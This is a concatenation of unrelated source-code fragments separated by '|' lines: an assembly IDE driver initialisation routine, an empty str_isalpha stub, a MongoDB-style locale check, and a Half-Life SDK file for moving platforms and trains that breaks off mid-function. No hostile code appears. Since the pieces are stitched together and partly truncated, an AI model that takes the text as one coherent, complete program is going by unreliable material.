HdDevPath DB "%hd",0
Txt~Thread DB "Unable to create thread",0
Txt~IOpriv DB "Unable to get I/O privilege",0
Txt~Intr DB "Unable to attach interrupt",0
section .bss
?DevTable RESB tIDEdev_size*IDE_MAXDRIVES ; IDE devices table
?BasePorts RESW IDE_MAXCHANNELS ; Controller base ports
?IRQlines RESB IDE_MAXCHANNELS ; IRQ lines
?CurrCommand RESB IDE_MAXCHANNELS ; Current command in execution
?CurrStatus RESB IDE_MAXCHANNELS ; Status after interrupt
?NumInstDevs RESB 1 ; Number of found hard disk drives
?NumChannels RESB 1 ; Number of found IDE channels
section .text
; IDE_Main - resource manager initialization.
proc IDE_Main
arg argc, argv
prologue
; Initialize port addresses and IRQs
mov dword [?BasePorts],PORT_HDC_IDE1 + (PORT_HDC_IDE2 << 16)
mov dword [?BasePorts+4],PORT_HDC_IDE3 + (PORT_HDC_IDE4 << 16)
mov dword [?IRQlines],IRQ_IDE1 + (IRQ_IDE2 << 8) + (IRQ_IDE3 << 16) + (IRQ_IDE4 << 24)
; For each enabled channel create a handling thread
xor ecx,ecx
.LoopChan: Ccall _ThreadCreate, 0, IDE_ChannelThread, ecx, 0
test eax,eax
js .ErrThread
inc ecx
cmp ecx,IDE_MAXCHANNELS
jne .LoopChan
Ccall _ThreadDetach, 0
.Exit: epilogue
ret
.ErrThread: Ccall _puts, Txt~Thread
jmp .Exit
endp ;---------------------------------------------------------------
; Per-channel thread. It probes for devices on the channel,
; and if disk drive(s) found registers them in the pathman
; and starts message processing loop.
proc IDE_ChannelThread
arg idechan
locauto ev, tSigEvent_size
prologue
; Get I/O privileges
Ccall _ThreadCtl, TCTL_IO, 0
test eax,eax
js .ErrIOpriv
; Attach an interrupt event
mov ecx,[%$idechan]
movzx eax,byte [ecx+?IRQlines]
lea edx,[%$ev]
Ccall _InterruptAttach, eax, 0, edx, tSigEvent_size, 0
test eax,eax
stc
js .ErrIntr
.Exit: epilogue
ret
.ErrIOpriv: Ccall _puts, Txt~IOpriv
jmp .Exit
.ErrIntr: Ccall _puts, Txt~Intr
jmp .Exit
endp ;---------------------------------------------------------------
|
section .text
global str_isalpha
str_isalpha:
; Provide your implementation here
ret
|
/* Copyright 2014 MongoDB, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* As a special exception, the copyright holders give permission to link the
* code of portions of this program with the OpenSSL library under certain
* conditions as described in each individual source file and distribute
* linked combinations including the program with the OpenSSL library. You
* must comply with the GNU Affero General Public License in all respects
* for all of the code used other than as permitted herein. If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. If you do not
* wish to do so, delete this exception statement from your version. If you
* delete this exception statement from all source files in the program,
* then also delete it in the license file.
*/
#include <stdexcept>
#include <boost/filesystem/operations.hpp>
#include "mongol/base/init.h"
namespace mongol {
MONGO_INITIALIZER_GENERAL(ValidateLocale, MONGO_NO_PREREQUISITES, MONGO_DEFAULT_PREREQUISITES)
(InitializerContext*) {
try {
// Validate that boost can correctly load the user's locale
boost::filesystem::path("/").has_root_directory();
} catch (const std::runtime_error&) {
return Status(ErrorCodes::BadValue,
"Invalid or no user locale set."
#ifndef _WIN32
" Please ensure LANG and/or LC_* environment variables are set correctly."
#endif
);
}
return Status::OK();
}
} // namespace mongol
|
/***
*
* Copyright (c) 1996-2002, Valve LLC. All rights reserved.
*
* This product contains software technology licensed from Id
* Software, Inc. ("Id Technology"). Id Technology (c) 1996 Id Software, Inc.
* All Rights Reserved.
*
* Use, distribution, and modification of this source code and/or resulting
* object code is restricted to non-commercial enhancements to products from
* Valve LLC. All other use, distribution, or modification is prohibited
* without written permission from Valve LLC.
*
****/
/*
===== plats.cpp ========================================================
spawn, think, and touch functions for trains, etc
*/
#include "extdll.h"
#include "util.h"
#include "cbase.h"
#include "trains.h"
#include "saverestore.h"
static void PlatSpawnInsideTrigger(entvars_t* pevPlatform);
#define SF_PLAT_TOGGLE 0x0001
class CBasePlatTrain : public CBaseToggle
{
public:
virtual int ObjectCaps( void ) { return CBaseEntity :: ObjectCaps() & ~FCAP_ACROSS_TRANSITION; }
void KeyValue( KeyValueData* pkvd);
void Precache( void );
// This is done to fix spawn flag collisions between this class and a derived class
virtual BOOL IsTogglePlat( void ) { return (pev->spawnflags & SF_PLAT_TOGGLE) ? TRUE : FALSE; }
virtual int Save( CSave &save );
virtual int Restore( CRestore &restore );
static TYPEDESCRIPTION m_SaveData[];
BYTE m_bMoveSnd; // sound a plat makes while moving
BYTE m_bStopSnd; // sound a plat makes when it stops
float m_volume; // Sound volume
};
TYPEDESCRIPTION CBasePlatTrain::m_SaveData[] =
{
DEFINE_FIELD( CBasePlatTrain, m_bMoveSnd, FIELD_CHARACTER ),
DEFINE_FIELD( CBasePlatTrain, m_bStopSnd, FIELD_CHARACTER ),
DEFINE_FIELD( CBasePlatTrain, m_volume, FIELD_FLOAT ),
};
IMPLEMENT_SAVERESTORE( CBasePlatTrain, CBaseToggle );
void CBasePlatTrain :: KeyValue( KeyValueData *pkvd )
{
if (FStrEq(pkvd->szKeyName, "lip"))
{
m_flLip = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "wait"))
{
m_flWait = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "height"))
{
m_flHeight = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "rotation"))
{
m_vecFinalAngle.x = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "movesnd"))
{
m_bMoveSnd = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "stopsnd"))
{
m_bStopSnd = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "volume"))
{
m_volume = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else
CBaseToggle::KeyValue( pkvd );
}
#define noiseMoving noise
#define noiseArrived noise1
void CBasePlatTrain::Precache( void )
{
// set the plat's "in-motion" sound
switch (m_bMoveSnd)
{
case 0:
pev->noiseMoving = MAKE_STRING("common/null.wav");
break;
case 1:
PRECACHE_SOUND ("plats/bigmove1.wav");
pev->noiseMoving = MAKE_STRING("plats/bigmove1.wav");
break;
case 2:
PRECACHE_SOUND ("plats/bigmove2.wav");
pev->noiseMoving = MAKE_STRING("plats/bigmove2.wav");
break;
case 3:
PRECACHE_SOUND ("plats/elevmove1.wav");
pev->noiseMoving = MAKE_STRING("plats/elevmove1.wav");
break;
case 4:
PRECACHE_SOUND ("plats/elevmove2.wav");
pev->noiseMoving = MAKE_STRING("plats/elevmove2.wav");
break;
case 5:
PRECACHE_SOUND ("plats/elevmove3.wav");
pev->noiseMoving = MAKE_STRING("plats/elevmove3.wav");
break;
case 6:
PRECACHE_SOUND ("plats/freightmove1.wav");
pev->noiseMoving = MAKE_STRING("plats/freightmove1.wav");
break;
case 7:
PRECACHE_SOUND ("plats/freightmove2.wav");
pev->noiseMoving = MAKE_STRING("plats/freightmove2.wav");
break;
case 8:
PRECACHE_SOUND ("plats/heavymove1.wav");
pev->noiseMoving = MAKE_STRING("plats/heavymove1.wav");
break;
case 9:
PRECACHE_SOUND ("plats/rackmove1.wav");
pev->noiseMoving = MAKE_STRING("plats/rackmove1.wav");
break;
case 10:
PRECACHE_SOUND ("plats/railmove1.wav");
pev->noiseMoving = MAKE_STRING("plats/railmove1.wav");
break;
case 11:
PRECACHE_SOUND ("plats/squeekmove1.wav");
pev->noiseMoving = MAKE_STRING("plats/squeekmove1.wav");
break;
case 12:
PRECACHE_SOUND ("plats/talkmove1.wav");
pev->noiseMoving = MAKE_STRING("plats/talkmove1.wav");
break;
case 13:
PRECACHE_SOUND ("plats/talkmove2.wav");
pev->noiseMoving = MAKE_STRING("plats/talkmove2.wav");
break;
default:
pev->noiseMoving = MAKE_STRING("common/null.wav");
break;
}
// set the plat's 'reached destination' stop sound
switch (m_bStopSnd)
{
case 0:
pev->noiseArrived = MAKE_STRING("common/null.wav");
break;
case 1:
PRECACHE_SOUND ("plats/bigstop1.wav");
pev->noiseArrived = MAKE_STRING("plats/bigstop1.wav");
break;
case 2:
PRECACHE_SOUND ("plats/bigstop2.wav");
pev->noiseArrived = MAKE_STRING("plats/bigstop2.wav");
break;
case 3:
PRECACHE_SOUND ("plats/freightstop1.wav");
pev->noiseArrived = MAKE_STRING("plats/freightstop1.wav");
break;
case 4:
PRECACHE_SOUND ("plats/heavystop2.wav");
pev->noiseArrived = MAKE_STRING("plats/heavystop2.wav");
break;
case 5:
PRECACHE_SOUND ("plats/rackstop1.wav");
pev->noiseArrived = MAKE_STRING("plats/rackstop1.wav");
break;
case 6:
PRECACHE_SOUND ("plats/railstop1.wav");
pev->noiseArrived = MAKE_STRING("plats/railstop1.wav");
break;
case 7:
PRECACHE_SOUND ("plats/squeekstop1.wav");
pev->noiseArrived = MAKE_STRING("plats/squeekstop1.wav");
break;
case 8:
PRECACHE_SOUND ("plats/talkstop1.wav");
pev->noiseArrived = MAKE_STRING("plats/talkstop1.wav");
break;
default:
pev->noiseArrived = MAKE_STRING("common/null.wav");
break;
}
}
//
//====================== PLAT code ====================================================
//
#define noiseMovement noise
#define noiseStopMoving noise1
class CFuncPlat : public CBasePlatTrain
{
public:
void Spawn( void );
void Precache( void );
void Setup( void );
virtual void Blocked( CBaseEntity *pOther );
void EXPORT PlatUse( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value );
void EXPORT CallGoDown( void ) { GoDown(); }
void EXPORT CallHitTop( void ) { HitTop(); }
void EXPORT CallHitBottom( void ) { HitBottom(); }
virtual void GoUp( void );
virtual void GoDown( void );
virtual void HitTop( void );
virtual void HitBottom( void );
};
LINK_ENTITY_TO_CLASS( func_plat, CFuncPlat );
// UNDONE: Need to save this!!! It needs class & linkage
class CPlatTrigger : public CBaseEntity
{
public:
virtual int ObjectCaps( void ) { return (CBaseEntity :: ObjectCaps() & ~FCAP_ACROSS_TRANSITION) | FCAP_DONT_SAVE; }
void SpawnInsideTrigger( CFuncPlat *pPlatform );
void Touch( CBaseEntity *pOther );
CFuncPlat *m_pPlatform;
};
/*QUAKED func_plat (0 .5 .8) ? PLAT_LOW_TRIGGER
speed default 150
Plats are always drawn in the extended position, so they will light correctly.
If the plat is the target of another trigger or button, it will start out disabled in
the extended position until it is trigger, when it will lower and become a normal plat.
If the "height" key is set, that will determine the amount the plat moves, instead of
being implicitly determined by the model's height.
Set "sounds" to one of the following:
1) base fast
2) chain slow
*/
void CFuncPlat :: Setup( void )
{
//pev->noiseMovement = MAKE_STRING("plats/platmove1.wav");
//pev->noiseStopMoving = MAKE_STRING("plats/platstop1.wav");
if (m_flTLength == 0)
m_flTLength = 80;
if (m_flTWidth == 0)
m_flTWidth = 10;
pev->angles = g_vecZero;
pev->solid = SOLID_BSP;
pev->movetype = MOVETYPE_PUSH;
UTIL_SetOrigin(pev, pev->origin); // set size and link into world
UTIL_SetSize(pev, pev->mins, pev->maxs);
SET_MODEL(ENT(pev), STRING(pev->model) );
// vecPosition1 is the top position, vecPosition2 is the bottom
m_vecPosition1 = pev->origin;
m_vecPosition2 = pev->origin;
if (m_flHeight != 0)
m_vecPosition2.z = pev->origin.z - m_flHeight;
else
m_vecPosition2.z = pev->origin.z - pev->size.z + 8;
if (pev->speed == 0)
pev->speed = 150;
if ( m_volume == 0 )
m_volume = 0.85;
}
void CFuncPlat :: Precache( )
{
CBasePlatTrain::Precache();
//PRECACHE_SOUND("plats/platmove1.wav");
//PRECACHE_SOUND("plats/platstop1.wav");
if ( !IsTogglePlat() )
PlatSpawnInsideTrigger( pev ); // the "start moving" trigger
}
void CFuncPlat :: Spawn( )
{
Setup();
Precache();
// If this platform is the target of some button, it starts at the TOP position,
// and is brought down by that button. Otherwise, it starts at BOTTOM.
if ( !FStringNull(pev->targetname) )
{
UTIL_SetOrigin (pev, m_vecPosition1);
m_toggle_state = TS_AT_TOP;
SetUse( &CFuncPlat::PlatUse );
}
else
{
UTIL_SetOrigin (pev, m_vecPosition2);
m_toggle_state = TS_AT_BOTTOM;
}
}
static void PlatSpawnInsideTrigger(entvars_t* pevPlatform)
{
GetClassPtr( (CPlatTrigger *)NULL)->SpawnInsideTrigger( GetClassPtr( (CFuncPlat *)pevPlatform ) );
}
//
// Create a trigger entity for a platform.
//
void CPlatTrigger :: SpawnInsideTrigger( CFuncPlat *pPlatform )
{
m_pPlatform = pPlatform;
// Create trigger entity, "point" it at the owning platform, give it a touch method
pev->solid = SOLID_TRIGGER;
pev->movetype = MOVETYPE_NONE;
pev->origin = pPlatform->pev->origin;
// Establish the trigger field's size
Vector vecTMin = m_pPlatform->pev->mins + Vector ( 25 , 25 , 0 );
Vector vecTMax = m_pPlatform->pev->maxs + Vector ( 25 , 25 , 8 );
vecTMin.z = vecTMax.z - ( m_pPlatform->m_vecPosition1.z - m_pPlatform->m_vecPosition2.z + 8 );
if (m_pPlatform->pev->size.x <= 50)
{
vecTMin.x = (m_pPlatform->pev->mins.x + m_pPlatform->pev->maxs.x) / 2;
vecTMax.x = vecTMin.x + 1;
}
if (m_pPlatform->pev->size.y <= 50)
{
vecTMin.y = (m_pPlatform->pev->mins.y + m_pPlatform->pev->maxs.y) / 2;
vecTMax.y = vecTMin.y + 1;
}
UTIL_SetSize ( pev, vecTMin, vecTMax );
}
//
// When the platform's trigger field is touched, the platform ???
//
void CPlatTrigger :: Touch( CBaseEntity *pOther )
{
// Ignore touches by non-players
entvars_t* pevToucher = pOther->pev;
if ( !FClassnameIs (pevToucher, "player") )
return;
// Ignore touches by corpses
if (!pOther->IsAlive())
return;
// Make linked platform go up/down.
if (m_pPlatform->m_toggle_state == TS_AT_BOTTOM)
m_pPlatform->GoUp();
else if (m_pPlatform->m_toggle_state == TS_AT_TOP)
m_pPlatform->pev->nextthink = m_pPlatform->pev->ltime + 1;// delay going down
}
//
// Used by SUB_UseTargets, when a platform is the target of a button.
// Start bringing platform down.
//
void CFuncPlat :: PlatUse( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value )
{
if ( IsTogglePlat() )
{
// Top is off, bottom is on
BOOL on = (m_toggle_state == TS_AT_BOTTOM) ? TRUE : FALSE;
if ( !ShouldToggle( useType, on ) )
return;
if (m_toggle_state == TS_AT_TOP)
GoDown();
else if ( m_toggle_state == TS_AT_BOTTOM )
GoUp();
}
else
{
SetUse( NULL );
if (m_toggle_state == TS_AT_TOP)
GoDown();
}
}
//
// Platform is at top, now starts moving down.
//
void CFuncPlat :: GoDown( void )
{
if(pev->noiseMovement)
EMIT_SOUND(ENT(pev), CHAN_STATIC, (char*)STRING(pev->noiseMovement), m_volume, ATTN_NORM);
ASSERT(m_toggle_state == TS_AT_TOP || m_toggle_state == TS_GOING_UP);
m_toggle_state = TS_GOING_DOWN;
SetMoveDone(&CFuncPlat::CallHitBottom);
LinearMove(m_vecPosition2, pev->speed);
}
//
// Platform has hit bottom. Stops and waits forever.
//
void CFuncPlat :: HitBottom( void )
{
if(pev->noiseMovement)
STOP_SOUND(ENT(pev), CHAN_STATIC, (char*)STRING(pev->noiseMovement));
if (pev->noiseStopMoving)
EMIT_SOUND(ENT(pev), CHAN_WEAPON, (char*)STRING(pev->noiseStopMoving), m_volume, ATTN_NORM);
ASSERT(m_toggle_state == TS_GOING_DOWN);
m_toggle_state = TS_AT_BOTTOM;
}
//
// Platform is at bottom, now starts moving up
//
void CFuncPlat :: GoUp( void )
{
if (pev->noiseMovement)
EMIT_SOUND(ENT(pev), CHAN_STATIC, (char*)STRING(pev->noiseMovement), m_volume, ATTN_NORM);
ASSERT(m_toggle_state == TS_AT_BOTTOM || m_toggle_state == TS_GOING_DOWN);
m_toggle_state = TS_GOING_UP;
SetMoveDone(&CFuncPlat::CallHitTop);
LinearMove(m_vecPosition1, pev->speed);
}
//
// Platform has hit top. Pauses, then starts back down again.
//
void CFuncPlat :: HitTop( void )
{
if(pev->noiseMovement)
STOP_SOUND(ENT(pev), CHAN_STATIC, (char*)STRING(pev->noiseMovement));
if (pev->noiseStopMoving)
EMIT_SOUND(ENT(pev), CHAN_WEAPON, (char*)STRING(pev->noiseStopMoving), m_volume, ATTN_NORM);
ASSERT(m_toggle_state == TS_GOING_UP);
m_toggle_state = TS_AT_TOP;
if ( !IsTogglePlat() )
{
// After a delay, the platform will automatically start going down again.
SetThink( &CFuncPlat::CallGoDown );
pev->nextthink = pev->ltime + 3;
}
}
void CFuncPlat :: Blocked( CBaseEntity *pOther )
{
ALERT( at_aiconsole, "%s Blocked by %s\n", STRING(pev->classname), STRING(pOther->pev->classname) );
// Hurt the blocker a little
pOther->TakeDamage(pev, pev, 1, DMG_CRUSH);
if(pev->noiseMovement)
STOP_SOUND(ENT(pev), CHAN_STATIC, (char*)STRING(pev->noiseMovement));
// Send the platform back where it came from
ASSERT(m_toggle_state == TS_GOING_UP || m_toggle_state == TS_GOING_DOWN);
if (m_toggle_state == TS_GOING_UP)
GoDown();
else if (m_toggle_state == TS_GOING_DOWN)
GoUp ();
}
class CFuncPlatRot : public CFuncPlat
{
public:
void Spawn( void );
void SetupRotation( void );
virtual void GoUp( void );
virtual void GoDown( void );
virtual void HitTop( void );
virtual void HitBottom( void );
void RotMove( Vector &destAngle, float time );
virtual int Save( CSave &save );
virtual int Restore( CRestore &restore );
static TYPEDESCRIPTION m_SaveData[];
Vector m_end, m_start;
};
LINK_ENTITY_TO_CLASS( func_platrot, CFuncPlatRot );
TYPEDESCRIPTION CFuncPlatRot::m_SaveData[] =
{
DEFINE_FIELD( CFuncPlatRot, m_end, FIELD_VECTOR ),
DEFINE_FIELD( CFuncPlatRot, m_start, FIELD_VECTOR ),
};
IMPLEMENT_SAVERESTORE( CFuncPlatRot, CFuncPlat );
void CFuncPlatRot :: SetupRotation( void )
{
if ( m_vecFinalAngle.x != 0 ) // This plat rotates too!
{
CBaseToggle :: AxisDir( pev );
m_start = pev->angles;
m_end = pev->angles + pev->movedir * m_vecFinalAngle.x;
}
else
{
m_start = g_vecZero;
m_end = g_vecZero;
}
if ( !FStringNull(pev->targetname) ) // Start at top
{
pev->angles = m_end;
}
}
void CFuncPlatRot :: Spawn( void )
{
CFuncPlat :: Spawn();
SetupRotation();
}
void CFuncPlatRot :: GoDown( void )
{
CFuncPlat :: GoDown();
RotMove( m_start, pev->nextthink - pev->ltime );
}
//
// Platform has hit bottom. Stops and waits forever.
//
void CFuncPlatRot :: HitBottom( void )
{
CFuncPlat :: HitBottom();
pev->avelocity = g_vecZero;
pev->angles = m_start;
}
//
// Platform is at bottom, now starts moving up
//
void CFuncPlatRot :: GoUp( void )
{
CFuncPlat :: GoUp();
RotMove( m_end, pev->nextthink - pev->ltime );
}
//
// Platform has hit top. Pauses, then starts back down again.
//
void CFuncPlatRot :: HitTop( void )
{
CFuncPlat :: HitTop();
pev->avelocity = g_vecZero;
pev->angles = m_end;
}
void CFuncPlatRot :: RotMove( Vector &destAngle, float time )
{
// set destdelta to the vector needed to move
Vector vecDestDelta = destAngle - pev->angles;
// Travel time is so short, we're practically there already; so make it so.
if ( time >= 0.1)
pev->avelocity = vecDestDelta / time;
else
{
pev->avelocity = vecDestDelta;
pev->nextthink = pev->ltime + 1;
}
}
//
//====================== TRAIN code ==================================================
//
class CFuncTrain : public CBasePlatTrain
{
public:
void Spawn( void );
void Precache( void );
void Activate( void );
void OverrideReset( void );
void Blocked( CBaseEntity *pOther );
void Use( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value );
void KeyValue( KeyValueData *pkvd );
void EXPORT Wait( void );
void EXPORT Next( void );
virtual int Save( CSave &save );
virtual int Restore( CRestore &restore );
static TYPEDESCRIPTION m_SaveData[];
entvars_t *m_pevCurrentTarget;
int m_sounds;
BOOL m_activated;
};
LINK_ENTITY_TO_CLASS( func_train, CFuncTrain );
TYPEDESCRIPTION CFuncTrain::m_SaveData[] =
{
DEFINE_FIELD( CFuncTrain, m_sounds, FIELD_INTEGER ),
DEFINE_FIELD( CFuncTrain, m_pevCurrentTarget, FIELD_EVARS ),
DEFINE_FIELD( CFuncTrain, m_activated, FIELD_BOOLEAN ),
};
IMPLEMENT_SAVERESTORE( CFuncTrain, CBasePlatTrain );
void CFuncTrain :: KeyValue( KeyValueData *pkvd )
{
if (FStrEq(pkvd->szKeyName, "sounds"))
{
m_sounds = atoi(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else
CBasePlatTrain::KeyValue( pkvd );
}
void CFuncTrain :: Blocked( CBaseEntity *pOther )
{
if ( gpGlobals->time < m_flActivateFinished)
return;
m_flActivateFinished = gpGlobals->time + 0.5;
pOther->TakeDamage(pev, pev, pev->dmg, DMG_CRUSH);
}
void CFuncTrain :: Use( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value )
{
if ( pev->spawnflags & SF_TRAIN_WAIT_RETRIGGER )
{
// Move toward my target
pev->spawnflags &= ~SF_TRAIN_WAIT_RETRIGGER;
Next();
}
else
{
pev->spawnflags |= SF_TRAIN_WAIT_RETRIGGER;
// Pop back to last target if it's available
if ( pev->enemy )
pev->target = pev->enemy->v.targetname;
pev->nextthink = 0;
pev->velocity = g_vecZero;
if ( pev->noiseStopMoving )
EMIT_SOUND (ENT(pev), CHAN_VOICE, (char*)STRING(pev->noiseStopMoving), m_volume, ATTN_NORM);
}
}
void CFuncTrain :: Wait( void )
{
// Fire the pass target if there is one
if ( m_pevCurrentTarget->message )
{
FireTargets( STRING(m_pevCurrentTarget->message), this, this, USE_TOGGLE, 0 );
if ( FBitSet( m_pevCurrentTarget->spawnflags, SF_CORNER_FIREONCE ) )
m_pevCurrentTarget->message = 0;
}
// need pointer to LAST target.
if ( FBitSet (m_pevCurrentTarget->spawnflags , SF_TRAIN_WAIT_RETRIGGER ) || ( pev->spawnflags & SF_TRAIN_WAIT_RETRIGGER ) )
{
pev->spawnflags |= SF_TRAIN_WAIT_RETRIGGER;
// clear the sound channel.
if ( pev->noiseMovement )
STOP_SOUND( edict(), CHAN_STATIC, (char*)STRING(pev->noiseMovement) );
if ( pev->noiseStopMoving )
EMIT_SOUND (ENT(pev), CHAN_VOICE, (char*)STRING(pev->noiseStopMoving), m_volume, ATTN_NORM);
pev->nextthink = 0;
return;
}
// ALERT ( at_console, "%f\n", m_flWait );
if (m_flWait != 0)
{// -1 wait will wait forever!
pev->nextthink = pev->ltime + m_flWait;
if ( pev->noiseMovement )
STOP_SOUND( edict(), CHAN_STATIC, (char*)STRING(pev->noiseMovement) );
if ( pev->noiseStopMoving )
EMIT_SOUND (ENT(pev), CHAN_VOICE, (char*)STRING(pev->noiseStopMoving), m_volume, ATTN_NORM);
SetThink( &CFuncTrain::Next );
}
else
{
Next();// do it RIGHT now!
}
}
//
// Train next - path corner needs to change to next target
//
void CFuncTrain :: Next( void )
{
CBaseEntity *pTarg;
// now find our next target
pTarg = GetNextTarget();
if ( !pTarg )
{
if ( pev->noiseMovement )
STOP_SOUND( edict(), CHAN_STATIC, (char*)STRING(pev->noiseMovement) );
// Play stop sound
if ( pev->noiseStopMoving )
EMIT_SOUND (ENT(pev), CHAN_VOICE, (char*)STRING(pev->noiseStopMoving), m_volume, ATTN_NORM);
return;
}
// Save last target in case we need to find it again
pev->message = pev->target;
pev->target = pTarg->pev->target;
m_flWait = pTarg->GetDelay();
if ( m_pevCurrentTarget && m_pevCurrentTarget->speed != 0 )
{// don't copy speed from target if it is 0 (uninitialized)
pev->speed = m_pevCurrentTarget->speed;
ALERT( at_aiconsole, "Train %s speed to %4.2f\n", STRING(pev->targetname), pev->speed );
}
m_pevCurrentTarget = pTarg->pev;// keep track of this since path corners change our target for us.
pev->enemy = pTarg->edict();//hack
if(FBitSet(m_pevCurrentTarget->spawnflags, SF_CORNER_TELEPORT))
{
// Path corner has indicated a teleport to the next corner.
SetBits(pev->effects, EF_NOINTERP);
UTIL_SetOrigin(pev, pTarg->pev->origin - (pev->mins + pev->maxs)* 0.5);
Wait(); // Get on with doing the next path corner.
}
else
{
// Normal linear move.
// CHANGED this from CHAN_VOICE to CHAN_STATIC around OEM beta time because trains should
// use CHAN_STATIC for their movement sounds to prevent sound field problems.
// this is not a hack or temporary fix, this is how things should be. (sjb).
if ( pev->noiseMovement )
STOP_SOUND( edict(), CHAN_STATIC, (char*)STRING(pev->noiseMovement) );
if ( pev->noiseMovement )
EMIT_SOUND (ENT(pev), CHAN_STATIC, (char*)STRING(pev->noiseMovement), m_volume, ATTN_NORM);
ClearBits(pev->effects, EF_NOINTERP);
SetMoveDone( &CFuncTrain::Wait );
LinearMove (pTarg->pev->origin - (pev->mins + pev->maxs)* 0.5, pev->speed);
}
}
void CFuncTrain :: Activate( void )
{
// Not yet active, so teleport to first target
if ( !m_activated )
{
m_activated = TRUE;
entvars_t *pevTarg = VARS( FIND_ENTITY_BY_TARGETNAME (NULL, STRING(pev->target) ) );
pev->target = pevTarg->target;
m_pevCurrentTarget = pevTarg;// keep track of this since path corners change our target for us.
UTIL_SetOrigin (pev, pevTarg->origin - (pev->mins + pev->maxs) * 0.5 );
if ( FStringNull(pev->targetname) )
{ // not triggered, so start immediately
pev->nextthink = pev->ltime + 0.1;
SetThink( &CFuncTrain::Next );
}
else
pev->spawnflags |= SF_TRAIN_WAIT_RETRIGGER;
}
}
/*QUAKED func_train (0 .5 .8) ?
Trains are moving platforms that players can ride.
The targets origin specifies the min point of the train at each corner.
The train spawns at the first target it is pointing at.
If the train is the target of a button or trigger, it will not begin moving until activated.
speed default 100
dmg default 2
sounds
1) ratchet metal
*/
void CFuncTrain :: Spawn( void )
{
Precache();
if (pev->speed == 0)
pev->speed = 100;
if ( FStringNull(pev->target) )
ALERT(at_console, "FuncTrain with no target");
if (pev->dmg == 0)
pev->dmg = 2;
pev->movetype = MOVETYPE_PUSH;
if ( FBitSet (pev->spawnflags, SF_TRACKTRAIN_PASSABLE) )
pev->solid = SOLID_NOT;
else
pev->solid = SOLID_BSP;
SET_MODEL( ENT(pev), STRING(pev->model) );
UTIL_SetSize (pev, pev->mins, pev->maxs);
UTIL_SetOrigin(pev, pev->origin);
m_activated = FALSE;
if ( m_volume == 0 )
m_volume = 0.85;
}
void CFuncTrain::Precache( void )
{
CBasePlatTrain::Precache();
#if 0 // obsolete
// otherwise use preset sound
switch (m_sounds)
{
case 0:
pev->noise = 0;
pev->noise1 = 0;
break;
case 1:
PRECACHE_SOUND ("plats/train2.wav");
PRECACHE_SOUND ("plats/train1.wav");
pev->noise = MAKE_STRING("plats/train2.wav");
pev->noise1 = MAKE_STRING("plats/train1.wav");
break;
case 2:
PRECACHE_SOUND ("plats/platmove1.wav");
PRECACHE_SOUND ("plats/platstop1.wav");
pev->noise = MAKE_STRING("plats/platstop1.wav");
pev->noise1 = MAKE_STRING("plats/platmove1.wav");
break;
}
#endif
}
void CFuncTrain::OverrideReset( void )
{
CBaseEntity *pTarg;
// Are we moving?
if ( pev->velocity != g_vecZero && pev->nextthink != 0 )
{
pev->target = pev->message;
// now find our next target
pTarg = GetNextTarget();
if ( !pTarg )
{
pev->nextthink = 0;
pev->velocity = g_vecZero;
}
else // Keep moving for 0.1 secs, then find path_corner again and restart
{
SetThink( &CFuncTrain::Next );
pev->nextthink = pev->ltime + 0.1;
}
}
}
// ---------------------------------------------------------------------
//
// Track Train
//
// ---------------------------------------------------------------------
TYPEDESCRIPTION CFuncTrackTrain::m_SaveData[] =
{
DEFINE_FIELD( CFuncTrackTrain, m_ppath, FIELD_CLASSPTR ),
DEFINE_FIELD( CFuncTrackTrain, m_length, FIELD_FLOAT ),
DEFINE_FIELD( CFuncTrackTrain, m_height, FIELD_FLOAT ),
DEFINE_FIELD( CFuncTrackTrain, m_speed, FIELD_FLOAT ),
DEFINE_FIELD( CFuncTrackTrain, m_dir, FIELD_FLOAT ),
DEFINE_FIELD( CFuncTrackTrain, m_startSpeed, FIELD_FLOAT ),
DEFINE_FIELD( CFuncTrackTrain, m_controlMins, FIELD_VECTOR ),
DEFINE_FIELD( CFuncTrackTrain, m_controlMaxs, FIELD_VECTOR ),
DEFINE_FIELD( CFuncTrackTrain, m_sounds, FIELD_INTEGER ),
DEFINE_FIELD( CFuncTrackTrain, m_flVolume, FIELD_FLOAT ),
DEFINE_FIELD( CFuncTrackTrain, m_flBank, FIELD_FLOAT ),
DEFINE_FIELD( CFuncTrackTrain, m_oldSpeed, FIELD_FLOAT ),
};
IMPLEMENT_SAVERESTORE( CFuncTrackTrain, CBaseEntity );
LINK_ENTITY_TO_CLASS( func_tracktrain, CFuncTrackTrain );
void CFuncTrackTrain :: KeyValue( KeyValueData *pkvd )
{
if (FStrEq(pkvd->szKeyName, "wheels"))
{
m_length = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "height"))
{
m_height = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "startspeed"))
{
m_startSpeed = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "sounds"))
{
m_sounds = atoi(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "volume"))
{
